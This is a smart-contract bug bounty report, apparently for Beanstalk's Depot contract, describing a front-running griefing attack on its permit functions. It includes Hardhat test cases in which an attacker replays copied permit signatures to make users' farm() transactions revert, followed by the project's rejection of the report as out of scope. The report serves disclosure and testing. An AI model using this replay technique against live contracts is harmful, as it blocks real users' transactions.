Griefing when permit transfer ERC20/ERC721 tokens
Report ID
#27858
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Bug Description
Depot
contract contains several function such as permitToken
, permitDeposit
, permitDeposits
, permitERC20
and permitERC721
, all the function call permit
function with signature and the signature includes nonce
parameter. According EIP-2612, any action call the permit
function can be front-running, and the later tx could be reverted. So if attacker monitor mempool and copy all the necessary parameters and front-running these public permit
functions, the normal txs can't be executed successfully.
For example, when users want to permit token then transfer the tokens, function Depot#farm
with permitToken
and transferToken
calldata will be called, and the attacker can front-running the tx by call permitToken
function directly, the later tx would be reverted because the nonce increment by 1. The problem existed in others permit functions as well.
Impact
Normal tx including permitToken
, permitDeposit
, permitDeposits
, permitERC20
and permitERC721
functions can't be executed successfully, and tokens can't be transferred as expected.
Recommendation
Send private transaction by flashbot or change the related implementation to be aware of the existing allowance at execution, see lido-dao similar [issue](https://github.com/lidofinance/lido-dao/issues/803)
References
Such attack similar to this reference, tx including sequence A, B, C, if C can make on-chain state change but A or B can be front-running, C will can't change on-chain state success.
Proof of concept
Inserting following cases into https://github.com/BeanstalkFarms/Beanstalk/blob/master/protocol/test/Depot.test.js:
// case 1: revert the tx by front-run permitDeposit function
describe("Permit Deposit and Transfer Deposits 1", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
const signature = await signSiloDepositTokenPermit(user, user.address, this.depot.address, BEAN, to6('2'), nonce);
permit = await this.depot.interface.encodeFunctionData('permitDeposit',
[
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]
)
transfer = await this.depot.interface.encodeFunctionData('transferDeposits', [
user.address,
PIPELINE,
BEAN,
[0,2],
[to6('1'), to6('1')]
])
// attacker front-run permitDeposit
await this.depot.connect(attacker).permitDeposit(
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
);
})
it('pipeline has deposits', async function () {
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Silo: permit invalid signature")
})
})
// case 2: revert the tx by front-run permitDeposits function
describe("Permit Deposit and Transfer Deposits 2", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.connect(user).depositPermitNonces(user.address);
const signature = await signSiloDepositTokensPermit(user, user.address, this.depot.address, [BEAN, this.siloToken.address], [to6('1'), to6('1')], nonce);
permit = await this.depot.interface.encodeFunctionData('permitDeposits',
[
signature.owner,
signature.spender,
signature.tokens,
signature.values,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]
)
transfer = await this.depot.interface.encodeFunctionData('transferDeposit', [
user.address,
PIPELINE,
BEAN,
0,
to6('1')
])
// attacker front-run permitDeposits
await this.depot.connect(attacker).permitDeposits(
signature.owner,
signature.spender,
signature.tokens,
signature.values,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
);
transfer2 = await this.depot.interface.encodeFunctionData('transferDeposit', [
user.address,
PIPELINE,
this.siloToken.address,
0,
to6('1')
])
})
it('pipeline has deposits', async function () {
await expect(this.depot.connect(user).farm([permit, transfer, transfer2])).to.be.revertedWith("Silo: permit invalid signature")
})
})
// case 3: revert the tx by front-run permitERC20 function
describe("Permit and Transfer case #3", async function () {
beforeEach(async function () {
const signature = await signERC2612Permit(
ethers.provider,
this.siloToken.address,
user.address,
this.depot.address,
'10000000',
);
permit = this.beanstalk.interface.encodeFunctionData('permitERC20', [
this.siloToken.address,
signature.owner,
signature.spender,
signature.value,
signature.deadline,
signature.v,
signature.r,
signature.s
]);
transfer = await this.depot.interface.encodeFunctionData('transferToken', [
this.siloToken.address,
PIPELINE,
to6('1'),
EXTERNAL,
EXTERNAL
]);
// attacker front-run permitERC20
await this.depot.connect(attacker).permitERC20(
this.siloToken.address,
signature.owner,
signature.spender,
signature.value,
signature.deadline,
signature.v,
signature.r,
signature.s
);
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("ERC20Permit: invalid signature")
})
it('transfers token', async function () {
expect(await this.siloToken.balanceOf(user.address)).not.to.be.equal(to6('0'))
expect(await this.siloToken.balanceOf(PIPELINE)).not.to.be.equal(to6('1'))
})
})
// case 4: revert the tx by front-run permitToken function
describe("Permit and Transfer case #4", async function () {
beforeEach(async function () {
const nonce = await this.beanstalk.tokenPermitNonces(user.address);
const signature = await signTokenPermit(user, user.address, this.depot.address, BEAN, to6('1'), nonce);
permit = this.beanstalk.interface.encodeFunctionData('permitToken', [
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s
]);
transfer = await this.depot.interface.encodeFunctionData('transferToken', [
BEAN,
PIPELINE,
to6('1'),
INTERNAL,
EXTERNAL
])
// attacker front-run permitToken
await this.depot.connect(attacker).permitToken(
signature.owner,
signature.spender,
signature.token,
signature.value,
signature.deadline,
signature.split.v,
signature.split.r,
signature.split.s);
await expect(this.depot.connect(user).farm([permit, transfer])).to.be.revertedWith("Token: permit invalid signature");
})
it('transfers token', async function () {
expect(await this.beanstalk.getInternalBalance(BEAN, user.address)).to.be.equal(to6('0'))
expect(await this.bean.balanceOf(PIPELINE)).to.be.equal(0)
})
})
BIC Response
This is not a valid bug report because it requires users to misuse Depot, and reports that require misuse of Depot do not qualify for bug reports. From the program:
Note that unexpected outcomes (like loss of funds) due to misuse of Pipeline and/or Depot do not qualify as valid bug reports.
Additionally, impacts that involve frontrunning transactions are not considered valid. From the program:
Out of Scope Section: Impacts that involve frontrunning transactions, i.e., impacts that require users to send transactions through the public mempool;
Users of Depot should format their farm()/Depot call to prevent this issue.
Due to these reasons, we are closing the submission and no reward will be issued.